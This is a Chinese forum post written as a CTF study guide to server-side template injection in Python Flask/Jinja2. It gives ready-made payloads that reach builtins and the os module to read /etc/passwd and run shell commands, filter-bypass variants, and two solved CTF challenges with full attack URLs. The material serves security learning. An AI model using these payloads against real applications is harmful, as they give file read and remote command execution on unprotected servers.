用户
搜索

该用户从未签到

i春秋作家

Rank: 7Rank: 7Rank: 7

5

主题

14

帖子

112

魔法币
收听
0
粉丝
0
注册时间
2018-1-1

i春秋签约作者

发表于 2018-11-10 01:30:38 49061

在CTF比赛中见过不少的SSTI题目,在这里整理下思路,记录下

0x01 简介

SSTI(Server-Side Template Injection),即服务端模板注入攻击,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的,目前CTF常见的SSTI题中,大部分是考python的

0x02 攻击流程

攻击流程,以文件读取为例子

函数解析

__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

获取基本类

''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用

获取基本类后,继续向下获取基本类(object)的子类

object.__subclasses__()

找到重载过的__init__类(在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的)

>>> ''.__class__.__mro__[2].__subclasses__()[99].__init__
<slot wrapper '__init__' of 'object' objects>
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__
<unbound method WarningMessage.__init__>

查看其引用__builtins__

builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']

这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file以实现读取文件的功能

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()

除此外还有其他的调用方式

0x03 读写文件

上面的方法读文件

方法1

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #将read() 修改为 write() 即为写文件

存在的子模块可以通过.index()来进行查询,如果存在的话返回索引,直接调用即可

方法2

>>> ''.__class__.__mro__[2].__subclasses__().index(file)
40
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() #将read() 修改为 write() 即为写文件

0x04 命令执行

方法1 利用eval 进行命令执行

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

方法2 利用warnings.catch_warnings 进行命令执行

查看warnings.catch_warnings方法的位置

>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59

查看linecatch的位置

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25

查找os模块的位置

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12

查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
144

调用system方法

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0

方法3 利用commands 进行命令执行

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

0x05 常见绕过方式

绕过中括号

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/sp

在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过

过滤引号

request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

过滤双下划线

同样利用request.args属性

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

将其中的request.args改为request.values则利用post的方式进行传参

GET:
{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
POST:
class=__class__&mro=__mro__&subclasses=__subclasses__

过滤关键字

base64编码绕过
__getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

字符串拼接绕过

{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}

0x06 实战

科来杯-easy_flask

这个题考察点在sqli + ssti

比赛中没做出来,但是复现成功后一想,应该算是ssti中比较简单的题,sql注入和ssti均未有任何过滤,但是用sql注入联合查询的返回结果来进行ssti注入攻击的模式是第一次见

刚开始添加用户和输入的数据

提交后,提示添加成功,然后在Search Comments中输入刚才的用户名,来提交查询,查询结果会出现在Show Comments

在查询阶段存在注入

利用回显结果来进行ssti攻击

payload如下

http://47.105.148.65:29003/?username=GetFlag' union select 1,'{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen("strings /flag").read()}}',3 --+

QCTF-Confustion1

查看题目界面

测试发现404页面存在ssti

但是进行了一系列的黑名单,索性全部采用request.args传值的方式绕过

读取成功

右击查看源代码,发现flag存放位置

读取flag文件

http://123.207.149.64:23361/{{''[request.args.a][request.values.b][2][request.values.c]()[40]('/opt/flag_1234qwerty.txt').read()}}?a=__class__&b=__mro__&c=__subclasses__

发表于 2018-11-10 01:34:28
我是不是也该套路一波,设置一下,不回复不给看
使用道具 举报 回复
发表于 2018-11-10 22:31:10
学习了。。。
http://www.anonymou5.com
使用道具 举报 回复
发表于 2018-11-12 10:25:11
前来支持。。。
使用道具 举报 回复
发表于 2018-11-19 10:16:28
学习了。
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册